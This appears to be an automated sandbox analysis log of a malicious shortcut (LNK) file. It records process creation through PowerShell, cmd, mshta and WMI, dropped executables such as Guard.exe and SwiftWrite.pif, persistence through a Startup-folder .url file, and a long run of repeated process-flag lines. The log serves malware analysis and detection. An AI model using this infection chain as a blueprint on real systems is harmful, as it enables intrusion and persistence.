Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe

Creates processes via WMI

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Drops PE files with a suspicious file extension

Source: C:\Users\Public\Guard.exe

File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Jump to dropped file

Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ghepduy1325[1]	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Guard.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\dqcwif.exe	Jump to dropped file
Source: C:\Users\Public\Guard.exe	File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Guard.exe

Jump to dropped file

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ghepduy1325[1]

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Guard.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B44514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

19_2_00007FF6B5B44514

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
